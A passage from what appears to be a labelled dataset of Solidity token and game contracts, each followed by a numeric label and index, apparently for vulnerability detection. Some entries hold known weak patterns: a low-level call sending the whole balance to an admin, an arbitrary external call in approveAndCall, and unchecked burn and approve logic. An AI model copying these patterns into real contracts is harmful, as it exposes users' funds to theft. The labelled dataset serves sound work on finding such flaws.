{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
address(admin).call.value(address(this).balance)();
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 2,098 |
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Issuer is Ownable {
mapping(address => bool) public issued;
StandardToken public token;
address public allower;
uint public issuedCount;
function Issuer(address _owner, address _allower, StandardToken _token) {
owner = _owner;
allower = _allower;
token = _token;
}
function issue(address benefactor, uint amount) onlyOwner {
if(issued[benefactor]) throw;
token.transferFrom(allower, benefactor, amount);
issued[benefactor] = true;
issuedCount += amount;
}
} | 1 | 3,425 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AUACoin is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "AUACoin";
string public constant symbol = "AUA";
uint public constant decimals = 8;
uint256 public totalSupply = 310000000e8;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function AUACoin () public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} | 1 | 4,834 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Mqthereum {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Mqthereum(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 5,296 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1363 is ERC20, ERC165 {
function transferAndCall(address _to, uint256 _value) public returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
function approveAndCall(address _spender, uint256 _value) public returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool);
}
contract ERC1363Receiver {
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363Spender {
function onApprovalReceived(address _owner, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 {
using AddressUtils for address;
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
return transferFromAndCall(_from, _to, _value, "");
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
contract BaseToken is DetailedERC20, CappedToken, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
constructor(
string _name,
string _symbol,
uint8 _decimals,
uint256 _cap
)
DetailedERC20(_name, _symbol, _decimals)
CappedToken(_cap)
public
{}
}
contract GastroAdvisorToken is BaseToken {
uint256 public lockedUntil;
mapping(address => uint256) lockedBalances;
string constant ROLE_OPERATOR = "operator";
modifier canTransfer(address _from, uint256 _value) {
require(mintingFinished || hasRole(_from, ROLE_OPERATOR));
require(_value <= balances[_from].sub(lockedBalanceOf(_from)));
_;
}
constructor(
string _name,
string _symbol,
uint8 _decimals,
uint256 _cap,
uint256 _lockedUntil
)
BaseToken(_name, _symbol, _decimals, _cap)
public
{
lockedUntil = _lockedUntil;
addMinter(owner);
addOperator(owner);
}
function transfer(
address _to,
uint256 _value
)
public
canTransfer(msg.sender, _value)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canTransfer(_from, _value)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function lockedBalanceOf(address _who) public view returns (uint256) {
return block.timestamp <= lockedUntil ? lockedBalances[_who] : 0;
}
function mintAndLock(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
lockedBalances[_to] = lockedBalances[_to].add(_amount);
return super.mint(_to, _amount);
}
function addOperator(address _operator) public onlyOwner {
require(!mintingFinished);
addRole(_operator, ROLE_OPERATOR);
}
function addOperators(address[] _operators) public onlyOwner {
require(!mintingFinished);
require(_operators.length > 0);
for (uint i = 0; i < _operators.length; i++) {
addRole(_operators[i], ROLE_OPERATOR);
}
}
function removeOperator(address _operator) public onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
function addMinters(address[] _minters) public onlyOwner {
require(_minters.length > 0);
for (uint i = 0; i < _minters.length; i++) {
addRole(_minters[i], ROLE_MINTER);
}
}
} | 1 | 5,057 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract BOMSToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function BOMSToken() public {
symbol = "BOMS";
name = "Blockchain of Original Material System";
decimals = 18;
_totalSupply = 100 * (10**8) * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,970 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
